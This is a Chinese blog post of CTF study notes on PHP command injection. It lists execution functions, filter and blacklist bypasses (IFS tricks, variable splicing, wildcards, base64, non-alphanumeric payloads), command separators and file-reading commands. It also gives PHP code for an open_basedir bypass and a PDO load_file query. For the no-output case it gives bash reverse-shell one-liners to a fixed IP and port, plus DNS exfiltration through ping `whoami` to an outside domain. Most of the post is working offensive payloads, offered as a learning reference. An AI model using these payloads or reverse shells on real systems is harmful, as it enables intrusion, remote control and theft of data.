命令执行-笔记

php常用命令执行函数

1
2
3
4
5
6
7
8
`反引号//执行无回显
system() //执行外部程序,并且显示输出
exec() //执行一个外部程序 返回字符串
shell_exec() //通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回
passthru() //执行外部程序并且显示原始输出
pcntl_exec() //在当前进程空间执行指定程序
popen() //打开进程文件指针
proc_open() //执行一个命令,并且打开用来输入/输出的文件指针

执行时过滤空格

  • win:
    • %ProgramFiles:~10,1%
  • linux:
    • $IFS$9
    • {cmd,args}(Bash)
    • cat<flag.txt
    • ${IFS}
    • ;IFS=,;
    • ${str:0:1} 截取
  • url编码
    • %09,%0b,%0c,%0a,%0d

黑名单

  • 利用变量拼接:
    • linux:a=c;b=at;$a​$b flag.php or ${}
  • 利用通配符:* ?
  • 绕过无数字无字母
    • php7
      • PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过(‘phpinfo’)();来执行函数,第一个括号中可以是任意PHP表达式。所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示): (~%8F%97%8F%96%91%99%90)();
    • shell下可以利用.来执行任意脚本 Linux文件名支持用glob通配符代替
    • 我们可以通过post一个文件(文件里面的sh命令),在上传的过程中,通过.(点)去执行执行这个文件。(形成了条件竞争)。一般来说这个文件在linux下面保存在/tmp/php??????
  • 利用已有字符:
    • expr substr $(awk NR=1 1.txt) 2 2

截断符号

  • $
  • ;
  • |
  • -
  • (
  • )
  • 反引号
  • ||
  • &&
  • &
  • }
  • {
  • %0a 可以当作空格来用;

利用base编码绕过:

  • `echo ‘Y2F0Cg==’ | base64 -d` 1.txt

利用php伪协议:

  • c=$nice=include$_GET[“url”]?>&url=php://filter/read=convert.Base64-encode/resource=flag.php

打印字符常用命令:

  • cat 由第一行开始显示内容,并将所有内容输出
  • tac 从最后一行倒序显示内容,并将所有内容输出
  • more 根据窗口大小,一页一页的现实文件内容
  • less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
  • head 只显示头几行
  • tail 只显示最后几行
  • nl 类似于cat -n,显示时输出行号
  • tailf 类似于tail -f
  • sed sed ‘p’ 1.txt
  • sort 它将文件进行排序,并将排序结果标准输出
  • uniq 用于报告或忽略文件中的重复行
  • rev 将文件中的每行内容以字符为单位反序输出
  • cut cut -c1- 1.txt
  • awk 文本和数据进行处理的编程语言awk ‘{print}’ flag.php
  • strings 在对象文件或二进制文件中查找可打印的字符串
  • od 输出文件的八进制、十六进制等格式编码的字节 od -c flag.
  • paste paste命令 用于将多个文件按照列队列进行合并。 可以用来读取文件
  • diff 比较给定的两个文件的不同 可以读取数据
  • curl file:///home/xxx.txt 可以读取文件
  • bzmore 查看bzip2压缩过的文本文件的内容
  • bzless 是增强“.bz2”压缩包查看器,bzless比bzmore命令功能更加强大。

管道符号:

  • linux:
    1. “ ; “: 执行完前面的语句在执行后面的语句。
    2. “ | “: 显示后面的语句的执行结果。
    3. ” || “:当前的语句执行出错时,执行后面的语句。
    4. ” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句 可真可假。
    5. ” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。
  • win:
    1. “ | “ :是直接后面的执行语句
    2. “ || ” :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假 才能执行。
    3. “ & “两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的 语句可真可假。
    4. “ && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句 为真则两条命令都执行,前面的语句只能为真。

open_basedir 限制

 open_basedir 可将用户访问文件的活动范围限制在指定的区域
例如:
 open_basedir=/tmp/:/var/www/html 代表当前web可访问的文件路径只能为/tmp/内或者/var/www/html 内的文件可在 php.ini / .user.ini 文件配置
[?] 使用ini_set方式配置待测试。
[?] 是否可以在本地生成一个.user.ini 去替换配置

  • 绕过方法:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if ($dh = opendir('glob:///*')) {
while (($file = readdir($dh)) !== false) {
echo $file.' ';
}
closedir($dh);
}

$it = new DirectoryIterator('glob:///*');
foreach($it as $f) {
var_dump($f);
//@var_dump(@$f->getSize());
//printf("%s: %.1FK\n", $f->getFilename(), $f->getSize()/1024);
}
1
2
3
4
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

执行函数禁用

通过读取文件函数

  • file_get_contents()
  • highlight_file()
  • show_source()
  • fgets()
  • file()
  • readfile()

无回显

  • 反弹shell
    • 反弹shell基础
    • 反弹shell
    • bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
    • bash -i>& /dev/tcp/192.168.146.129/2333 0<&1
    • bash -i >& /dev/tcp/192.168.146.129/2333 <&2
  • curl外带
    • 利用dnslog或者httplog外带数据如:ping `whoami`.xxx.com 查看日志

命令执行-笔记
https://coutcin-xw.github.io/2022/04/23/命令执行-笔记/
作者
CoutCin
发布于
2022年4月23日
许可协议